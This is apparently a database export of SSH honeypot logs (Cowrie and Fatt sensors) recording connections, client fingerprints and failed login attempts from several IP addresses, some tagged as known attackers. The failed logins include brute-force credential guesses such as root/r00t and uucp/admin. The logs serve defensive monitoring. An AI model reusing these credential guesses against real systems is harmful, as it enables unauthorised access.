24640	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:03.930579+03	2021-09-20 14:15:09.059472+03	{"_id": "NgblAnwBvYTbRNuEJhWN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43380 (192.168.176.2:22) [session: 8bfd395996bd]", "session": "8bfd395996bd", "@version": "1", "protocol": "ssh", "src_port": 43380, "dest_port": 22, "timestamp": "2021-09-20T11:09:03.930579Z", "@timestamp": "2021-09-20T11:09:03.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24641	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.034763+03	2021-09-20 14:15:09.060512+03	{"_id": "IAblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "17ec16fb3036", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:04.034763Z", "@timestamp": "2021-09-20T11:09:04.034Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24642	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.260824+03	2021-09-20 14:15:09.0615+03	{"_id": "IQblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0cb70e7098e0", "@version": "1", "timestamp": "2021-09-20T11:09:04.260824Z", "@timestamp": "2021-09-20T11:09:04.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24643	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:00.149235+03	2021-09-20 14:15:09.0635+03	{"_id": "4wblAnwBvYTbRNuEGhQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51558, "timestamp": "2021-09-20T11:09:00.149235", "@timestamp": "2021-09-20T11:09:00.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24644	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:00.42035+03	2021-09-20 14:15:09.0645+03	{"_id": "5QblAnwBvYTbRNuEGhTR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "941036954566", "@version": "1", "timestamp": "2021-09-20T11:09:00.420350Z", "@timestamp": "2021-09-20T11:09:00.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24645	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:00.59072+03	2021-09-20 14:15:09.0655+03	{"_id": "5gblAnwBvYTbRNuEGhTR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f235c3580598", "@version": "1", "duration": 2.7245917320251465, "timestamp": "2021-09-20T11:09:00.590720Z", "@timestamp": "2021-09-20T11:09:00.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24652	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:02.053298+03	2021-09-20 14:15:09.074509+03	{"_id": "9gblAnwBvYTbRNuEHhS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "68579d5a0ba7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:02.053298Z", "@timestamp": "2021-09-20T11:09:02.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24646	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:00.795287+03	2021-09-20 14:15:09.066498+03	{"_id": "5wblAnwBvYTbRNuEGhTR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "48228b0a83c1", "@version": "1", "timestamp": "2021-09-20T11:09:00.795287Z", "@timestamp": "2021-09-20T11:09:00.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24647	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:01.279062+03	2021-09-20 14:15:09.068507+03	{"_id": "6AblAnwBvYTbRNuEGhTR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "f04d29afdbcf", "@version": "1", "duration": 120.00261688232422, "timestamp": "2021-09-20T11:09:01.279062Z", "@timestamp": "2021-09-20T11:09:01.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24648	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:09:01.352225+03	2021-09-20 14:15:09.0695+03	{"_id": "6QblAnwBvYTbRNuEGhTR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qazxsw2] failed", "session": "d0f4216f9eca", "@version": "1", "password": "1qazxsw2", "username": "root", "timestamp": "2021-09-20T11:09:01.352225Z", "@timestamp": "2021-09-20T11:09:01.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24649	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:01.372676+03	2021-09-20 14:15:09.070501+03	{"_id": "6gblAnwBvYTbRNuEGhTR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/r00t] failed", "session": "941036954566", "@version": "1", "password": "r00t", "username": "root", "timestamp": "2021-09-20T11:09:01.372676Z", "@timestamp": "2021-09-20T11:09:01.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24650	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:01.956952+03	2021-09-20 14:15:09.0715+03	{"_id": "7AblAnwBvYTbRNuEHhQd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35774, "timestamp": "2021-09-20T11:09:01.956952", "@timestamp": "2021-09-20T11:09:01.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24653	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:02.567829+03	2021-09-20 14:15:09.075473+03	{"_id": "BQblAnwBvYTbRNuEIhWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [uucp/admin] failed", "session": "893263172587", "@version": "1", "password": "admin", "username": "uucp", "timestamp": "2021-09-20T11:09:02.567829Z", "@timestamp": "2021-09-20T11:09:02.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24654	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:03.308019+03	2021-09-20 14:15:09.0765+03	{"_id": "BgblAnwBvYTbRNuEIhWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [svn/svn] failed", "session": "86a6ff5a38c1", "@version": "1", "password": "svn", "username": "svn", "timestamp": "2021-09-20T11:09:03.308019Z", "@timestamp": "2021-09-20T11:09:03.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
